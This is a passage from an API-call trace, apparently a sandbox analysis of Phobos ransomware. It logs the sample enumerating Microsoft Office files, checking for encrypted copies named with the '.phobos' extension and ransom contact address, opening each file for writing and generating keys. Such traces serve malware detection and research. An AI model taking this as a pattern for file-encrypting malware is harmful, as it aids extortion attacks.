Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.466] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.625] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24558) returned 1 [0155.625] CloseHandle (hObject=0x250) returned 1 [0155.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 0x220 [0155.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.626] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.626] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11208) returned 1 [0155.626] CloseHandle (hObject=0x250) returned 1 [0155.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one")) returned 0x220 [0155.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.627] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.627] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3450) returned 1 [0155.627] CloseHandle (hObject=0x250) returned 1 [0155.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css")) returned 0x220 [0155.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.628] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.628] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=513666) returned 1 [0155.628] CloseHandle (hObject=0x250) returned 1 [0155.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm")) returned 0x220 [0155.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msqry32.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.629] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.629] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3450) returned 1 [0155.629] CloseHandle (hObject=0x250) returned 1 [0155.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css")) returned 0x220 [0155.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.630] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.631] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1128) returned 1 [0155.631] CloseHandle (hObject=0x250) returned 1 [0155.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml")) returned 0x220 [0155.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.632] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1068) returned 1 [0155.632] CloseHandle (hObject=0x250) returned 1 [0155.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml")) returned 0x220 [0155.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.632] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.633] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3390) returned 1 [0155.633] CloseHandle (hObject=0x250) returned 1 [0155.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml")) returned 0x220 [0155.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.633] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.655] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3318) returned 1 [0155.655] CloseHandle (hObject=0x250) returned 1 [0155.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml")) returned 0x220 [0155.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.656] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.659] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=301554) returned 1 [0155.659] CloseHandle (hObject=0x574) returned 1 [0155.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg")) returned 0x220 [0155.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.660] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.661] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=82098) returned 1 [0155.661] CloseHandle (hObject=0x574) returned 1 [0155.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm")) returned 0x220 [0155.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.661] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.662] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=93696) returned 1 [0155.662] CloseHandle (hObject=0x574) returned 1 [0155.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat")) returned 0x220 [0155.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.662] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.667] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=551) returned 1 [0155.667] CloseHandle (hObject=0x574) returned 1 [0155.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h")) returned 0x220 [0155.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.667] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.668] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2695) returned 1 [0155.668] CloseHandle (hObject=0x574) returned 1 [0155.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini")) returned 0x220 [0155.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.669] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.670] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3450) returned 1 [0155.670] CloseHandle (hObject=0x574) returned 1 [0155.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css")) returned 0x220 [0155.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.674] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.674] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3450) returned 1 [0155.674] CloseHandle (hObject=0x574) returned 1 [0155.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css")) returned 0x220 [0155.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.675] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.675] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=284446) returned 1 [0155.676] CloseHandle (hObject=0x574) returned 1 [0155.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx")) returned 0x220 [0155.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), 